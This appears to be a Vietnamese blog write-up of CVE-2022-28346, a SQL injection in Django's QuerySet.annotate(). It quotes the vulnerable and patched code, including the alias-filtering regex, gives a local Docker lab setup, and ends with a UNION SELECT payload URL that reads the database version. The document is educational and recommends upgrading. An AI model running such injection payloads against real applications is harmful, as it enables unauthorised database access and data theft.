Giới thiệu
Ngày 12 tháng 4 năm 2022 đội ngũ phát triển Django đã công bố lỗ hổng SQL injection trong các phiên bản Django sau:
- 2.2.x trước 2.2.28
- 3.2.x trước 3.2.13
- 4.0.x trước 4.0.4
Cụ thể thì lỗ hổng tồn tại trong các chức năng
- QuerySet.annotate()
- QuerySet.aggregate()
Lỗ hổng được đánh giá là nghiêm trọng, ảnh hưởng đến tính bí mật, toàn vẹn và sẵn dùng với mức điểm 9.8 trên thang 10.
CVE - ID | CVE - 2022 - 28346 |
---|---|
Severity | 9.8 - CRITICAL |
CWE - ID | CWE - 89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) |
Vulnerability Publication Date | 12/4/2022 |
Affected Software | Django version 2.2.x < 2.2.28, 3.2.x < 3.2.13 and 4.0.x < 4.0.4 |
Phân tích lỗ hổng
QuerySet là gì?
Như đã đề cập ở trên lỗ hổng này tồn tại trong các chức năng QuerySet.annotate() và QuerySet.aggregate() của Django version 2.2.x < 2.2.28, 3.2.x < 3.2.13 and 4.0.x < 4.0.4
Trước khi đi vào phân tích chi tiết tại sao các chức năng QuerySet.annotate/QuerySet.aggregate
lại tồn tại lỗ hổng ta phải tìm hiểu QuerySet là gì?
A QuerySet is a collection of data from a database.
A QuerySet is built up as a list of objects.
QuerySets makes it easier to get the data you actually need, by allowing you to filter and order the data.
Hiểu đơn giản trong Django QuerySet dùng để truy vấn dữ liệu trong cơ sở dữ liệu, người dùng có thể sắp xếp, lọc mà không làm ảnh hưởng đến dữ liệu ban đầu.
Ví dụ:
Chúng ta có 1 bảng Members như sau:
class Members(models.Model):
firstname = models.TextField()
lastname = models.TextField()
def __str__(self):
return self.lastname
id | firstname | lastname |
---|---|---|
1 | Pham | Long |
2 | Quyen | Son |
3 | Tran | Linh |
4 | Dinh | Duong |
5 | Do | Dat |
Với câu lệnh
mydata = Members.objects.all()
Ta đã có một QuerySet được chứa bên trong mydata như sau.
<QuerySet [
<Members: Long>,
<Members: Son>,
<Members: Linh>,
<Members: Duong>,
<Members: Dat>
]>
QuerySet.annotate(self, *args, **kwargs)
Giới thiệu QuerySet.annotate()
annotate() là một chức năng có thể sử dụng với QuerySet để tạo 1 trường dữ liệu dẫn xuất bổ sung cho từng đối tượng khi được trích xuất.
Ví dụ: giả sử chúng ta có các model Article và Category trong một ứng dụng blog:
# blog/models.py
from django.db import models
class Category(models.Model):
title = models.Charfield(max_length=255)
class Article(models.Model):
title = models.CharField(max_length=255)
text = models.CharField(max_length=255)
category = models.ForeignKey(Category)
published = models.BooleanField(default=False)
read_min = models.IntegerField()
Nếu bạn muốn đếm số lượng bài báo trong mỗi danh mục. Tuy nhiên, bạn chỉ muốn đếm các đối tượng phù hợp với một điều kiện nào đó, ví dụ chỉ đếm các bài báo đã được xuất bản.
Để làm điều này, bạn có thể sử dụng Q
objects và Count
trong mệnh đề annotation()
như sau:
from django.db.models import Q
from django.db.models import Count
from blog.models import Category
def get_categories():
filters = Q(published=True)
return Category.objects.all().annotate(Count('article', filters))
categories = get_categories()
print(categories[0].article__count)
Mỗi category item được trả lại trong QuerySet bây giờ sẽ có thêm một thuộc tính với tên mặc định là article__count
.
Bạn cũng có thể thay đổi tên mặc định của thuộc tính này bằng cách chuyền Count
vào chú thích dưới dạng đối số từ khóa với tên mong muốn của bạn.
Ví dụ: bạn có thể viết annotate(num_articles=Count('article', filters))
nếu bạn muốn thuộc tính được thêm có tên là num_articles
.
Phân tích lỗ hổng trong QuerySet.annotate()
Khi sử dụng chức năng QuerySet.annotate()
ứng dụng sẽ gọi trực tiếp đến hàm annotate(self, *args, **kwargs)
được định nghĩa trong file django/db/models/query.py
def annotate(self, *args, **kwargs):
"""
Return a query set in which the returned objects have been annotated
with extra data or aggregations.
"""
self._not_support_combined_queries('annotate')
return self._annotate(args, kwargs, select=True)
Ta có thể thấy hàm annotate
thực hiện thêm 1 trường dữ liệu dẫn xuất với tên được truyền vào mà không hề kiểm tra tên trường truyền vào hợp lệ hay không. Điều này dẫn tới chúng ta có thể inject câu lệnh SQL vào nếu kiểm soát được tên trường dẫn xuất truyền vào.
def add_annotation(self, annotation, alias, is_summary=False, select=True):
"""Add a single annotation expression to the Query."""
annotation = annotation.resolve_expression(self, allow_joins=True, reuse=None,
summarize=is_summary)
if select:
self.append_annotation_mask([alias])
else:
self.set_annotation_mask(set(self.annotation_select).difference({alias}))
self.annotations[alias] = annotation
Ở phiên bản 4.0.4 đội ngũ phát triển đã cập nhật thêm hàm check_alias
để kiểm tra tên của trường dẫn xuất có hợp lệ hay không.
def add_annotation(self, annotation, alias, is_summary=False, select=True):
"""Add a single annotation expression to the Query."""
self.check_alias(alias)
annotation = annotation.resolve_expression(
self, allow_joins=True, reuse=None, summarize=is_summary
)
if select:
self.append_annotation_mask([alias])
else:
self.set_annotation_mask(set(self.annotation_select).difference({alias}))
self.annotations[alias] = annotation
Nội dung hàm check_alias
như sau:
FORBIDDEN_ALIAS_PATTERN = _lazy_re_compile(r"['`\"\]\[;\s]|--|/\*|\*/")
def check_alias(self, alias):
if FORBIDDEN_ALIAS_PATTERN.search(alias):
raise ValueError(
"Column aliases cannot contain whitespace characters, quotation marks, "
"semicolons, or SQL comments."
)
Demo
Môi trường: Docker & Docker-compose
Setup
-
git clone https://github.com/pthlong9991/CVE-2022-28346.git
-
Run
./setup.sh
for initial setup -
sudo docker-compose up --build
-
Truy nhập vào docker image để khởi tạo cơ sở dữ liệu bằng câu lệnh
sudo docker exec -it cve-2022-28346_web /bin/bash
-
Và chạy các lệnh sau:
python manage.py makemigrations cve202228346
python manage.py migrate
-
Truy cập http://localhost:8000/load_example_data để load sample data
-
Đường dẫn chứa vulnerable param (field): http://localhost:8000/users/?field=Num%20articles
Kết quả sau kkhi cài đặt xong môi trường
Khai thác
Để có thể khai thác được lỗ hổng này chúng ta phải biết được tên bảng của câu truy vấn hiện tại + kiểm soát được tham số dùng để đặt tên trường dẫn xuất được tạo ra từ chức năng QuerySet.annotate()
Ở đây môi trường config debug=true
+ để cho người dùng có thể control được biến field
là tên của trường dẫn xuất được tạo ra.
Khi ta thêm dấu nháy kép "
vào sau giá trị của biến field
thì ta nhận được kết quả sau
Ta có thể dễ dàng thấy được tên của bảng trong truy vấn hiện tại là "cve202228346_category"
và "cve202228346_article"
Câu lệnh truy vấn hiện tại là:
SELECT "cve202228346_category"."id", "cve202228346_category"."title", COUNT("cve202228346_article"."id") AS "Num articles" FROM "cve202228346_category"."id" LEFT OUTER JOIN "cve202228346_article" ON {"cve202228346_category"."id" = "cve202228346_article"."category_id"} GROUP BY "cve202228346_category"."id"
Việc của chúng ta phải làm inject vào biến field
sao cho hoàn thành câu lệnh hiện tại sau đó inject câu lệnh khai thác. Với trường hợp này ta có thể sử dụng UNION SELECT để khai thác.
Payload sẽ sau:
http://localhost:8000/catrgory/?field=Num articles" FROM "cve202228346_category"."id" LEFT OUTER JOIN "cve202228346_article" ON {"cve202228346_category"."id" = "cve202228346_article"."category_id"} GROUP BY "cve202228346_category"."id" UNION SELECT null,version(),null --
Kết quả khai thác:
Phòng tránh
Cách phòng tránh hiệu quả nhất là cập nhật lên phiên bản django mới nhất.
Reference
https://able.bio/dfernsby/django-queryset-annotations-with-conditions--19d4cb4b https://docs.djangoproject.com/en/4.0/ref/models/querysets/#django.db.models.query.QuerySet.annotate